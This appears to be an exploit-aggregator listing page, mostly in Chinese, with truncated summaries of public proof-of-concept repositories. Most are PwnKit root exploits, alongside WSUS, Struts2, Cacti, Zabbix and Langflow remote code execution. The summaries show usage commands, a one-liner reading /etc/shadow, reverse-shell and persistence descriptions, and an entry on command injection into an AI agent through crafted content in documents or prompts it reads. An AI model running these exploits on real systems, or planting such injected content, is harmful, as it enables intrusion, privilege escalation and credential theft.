CVE-2021-4034

用法： sh poc.sh...

Struts2_S2-062_CVE-2021-31805

Struts2S2-062CVE-2021-31805 Apache Struts2 S2-062 Remote Code Execution Vulnerability CVE-2021-31805 | Reverse Shell Vulnerability Reproduction Environment docker-compose.yml root@kitploit: version: '2' services: struts2: image: vulhub/struts2:2.5.25 ports: - "8080:8080" Pull the image and start...

CVE-2021-4034-new

CVE-2021-4034 针对 polkit 权限提升漏洞的一日利用 只需执行 make、./cve-2021-4034，即可享受 root shell。 原作者发布的官方公告见此处。...

ez-pwnkit

ez-pwnkit 一个纯 Go 实现的 CVE-2021-4034 PwnKit 漏洞利用程序。 该漏洞利用程序使用 syscall.ForkExec 来确保在主程序结束后仍能存活。 安装 root@kitploit: git clone https://github.com/OXDBXKXO/ez-pwnkit.git cd ez-pwnkit make 由于该漏洞利用程序依赖于一个恶意的共享库，因此会从 payload.go 生成一个 PWN.so 文件，并将其嵌入到最终的 exploit 可执行文件中。 Makefile 使用 sed 临时将 payload.go 文件的包名改为...

CVE-2021-42342

CVE-2021-42342 CVE-2021-42342 远程代码执行（RCE） POC1：仅打印 root@kitploit: include include include include static void beforemainvoid attributeconstructor; static void beforemainvoid write1, "Hello World!\n", 14; POC2：反向 Shell root@kitploit: include include include include char serverip=""; uint32t...

CVE-2021-4034

CVE-2021-4034 polkit 权限提升漏洞利用的一天 只需执行 ./blasty 即可获得 root shell。 原作者的实际公告见 - 此处 安装 如果漏洞利用成功，您将立即获得 root shell： root@kitploit: user@tecnokarita-/Descargas $ git clone https://github.com/T3cnokarita/CVE-2021-4034.git user@tecnokarita-/Descargas/CVE-2021-4034 $ gcc -o blasty blasty-vs-pkexec.c...

CVE-2026-41940

基于 Watch Tower POC， 支持通过 websocket 直接访问 shell，并添加 root API 密钥以实现持久化。...

CVE-2021-43857

CVE-2021-43857 Gerapy 0.9.8 之前的版本存在远程代码执行漏洞。该问题已在 0.9.8 版本中修复。 CVE-2021-43857 是一个标记为严重优先级（CVSS 9.8）的漏洞，可导致远程代码执行。 该漏洞影响 0.9.8 之前的所有版本。 仅在 0.9.6 上测试过。需要正确的凭据。 该漏洞利用方式为：登录应用程序，然后获取已创建项目的列表（如果没有项目则会失败），接着利用项目设置运行易受攻击的 spider 机制，通过发送反向 Shell 载荷来实现。 使用示例： python3 cve-2021-43857.py -t 172.17.0.2 -p 800...

CVE-2021-4034

CVE-2021-4034（反向 Shell） 针对 polkit 的 pkexec 中本地权限提升漏洞的利用程序...

CVE-2026-2256-PoC

CVE-2026–2256 PoC 执行摘要 在 MS-Agent 框架 1.5.2 版本的 Shell 工具组件中发现了一个严重的命令注入漏洞（CVE-2026–2256，CVSS X.X）。该漏洞源于对用户影响的输入未进行适当的清理，这些输入被直接传递到 shell 执行上下文中，从而能够执行非预期的命令。 攻击者可以通过将精心构造的内容注入到代理所消费的数据源（如提示词、文档、日志或研究输入）中来利用此漏洞，无需直接访问 shell 或明确滥用操作员权限。因此，在代理的正常执行流程中，任意命令都可以以 MS-Agent 进程在主机系统上的权限执行，可能导致主机完全被攻陷。...

CVE-2025-59287

CVE-2025-59287 WSUS CVE-2025-59287 – XML 反序列化 RCE（反向 Shell） 一个针对 WSUS CVE-2025-59287 的聚焦 PoC，通过 XML 反序列化实现 Windows 反向 Shell。此脚本仅支持反向 Shell 载荷（无 calc 回退）。 目标：安装了 WSUS 角色的 Windows Server 技术：SOAP + ObjectDataProvider 反序列化 结果：cmd.exe 启动 PowerShell 反向 Shell 连接到你的监听器 免责声明 仅限在实验室环境中进行授权测试。你有责任遵守所有适用法律。 ...

Pwnkit-go

PwnKit-go-LPE CVE-2021-4034 一个基于 golang 的 CVE-2021-4034 漏洞利用程序，代号 pwnkit root@kitploit: @@@@@@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@@@@@ @@@@@@@@ @@@@@@ @@@@@@@@ @@@ @@@ @@@ @@@@ @@@ @@@ @@@ @@@ @@@@@@@ @@@@@@@@@ @@@@@@@@ @@! @@@ @@! @@! @@! @@!@!@@@ @@! !@@ @@! @@! !@@ @@! @@@ !@! @!@ !@! !@! !@!...

CVE-2021-4034-NoGCC

CVE-2021-4032-NoGCC 已在以下环境中测试： Ubuntu 20.04.3 LTS Kali 2021.4a CentOS Linux release 7.5.1804 使用方法： 1：交互式 shell ./cve-2021-4034-poc-x64 2：单行命令 ./cve-2021-4034-poc-x64 "cat /etc/shadow"...

CVE-2024-4577

lol CVE-2024-4577 1. comando de explotación valor RCE root@kitploit: python3 cek.py --target http://target/index.php --ls --dir /path/to/directory python3 cek.py --target https://target/index.php --dir /path/to/directory python3 cek.py --target https://target/index.php --cat /path/to/directory fi...

CVE-2024-25641

CVE-2024-25641 root@kitploit: Exploit Title: Cacti 1.2.26 - RCE Authenticated Date: 06/01/2025 Exploit Author: D3Ext Vendor Homepage: https://cacti.net/ Software Link: https://github.com/Cacti/cacti/archive/refs/tags/release/1.2.26.zip Version: 1.2.26 Tested on: Kali Linux 2024 CVE: CVE-2024-2564...

Zabbix-CVE-2024-42327-SQL-Injection-RCE

Zabbix-CVE-2024-42327 RCE PoC root@kitploit: / / | / / / | \ / \ / // / / // /| | / / / / / | | / / // // / / // / // // // // / / / / / / / / | |/ / /// // // / / // / // / / / / / |// //// // // //// // NSFOCUS CERT 检测到 Zabbix 发布了安全公告，并修复了 Zabbix 服务器的 SQL 注入漏洞（CVE-2024-42327）。由于...

CVE-2021-4034

Exploit CVE-2021-4034 Uso root@kitploit: $ git clone https://github.com/Anonymous-Family/CVE-2021-4034.git $ cd CVE-2021-4034 $ make ! CVE-2021-4034 Exploit By whokilleddb ! Initializing Setup + Setup Done :D ! Setting Root Privileges ! Launching Root Shell /bin/whoami root Parche rápido...

CVE-2025-59287

CVE-2025-59287 WSUS漏洞复现 CVE-2025-59287 — 注入 WolfShell 金刚狼 正向内存马 概要 CVE-2025-59287 利用 WSUS 相关组件的逻辑缺陷，将 WolfShell 内存马注入到目标服务器。当管理员打开 WSUS 控制台时默认随机时间1-30分钟内触发，内存马会触发并导致远程代码执行（RCE）。本文档包含利用示例、所需文件与防护建议。 用法示例 用法 向目标服务器发送ysoserial.net反序列化payload,功能自定义，本项目演示植入金刚狼内存马 root@kitploit: Usage: CVE-2025-59287...

PoC-CVE-2026-33017

PoC：CVE-2026-33017 Langflow = 1.8.1 存在一个远程、未认证的 RCE 漏洞（https://nvd.nist.gov/vuln/detail/CVE-2026-33017） 使用方法 root@kitploit: usage: CVE-2026-33017.py -h --lhost LHOST --lport LPORT target PoC exploit: CVE-2026-33017 positional arguments: target Target hostname options: -h, --help show this help...

PT-2026-89399

Renovate before 44.14.7 contains a command injection vulnerability in the Mix manager when processing private dependencies with unescaped organization parameters. Attackers can inject shell metacharacters through malicious package names to execute arbitrary commands as the Renovate user in...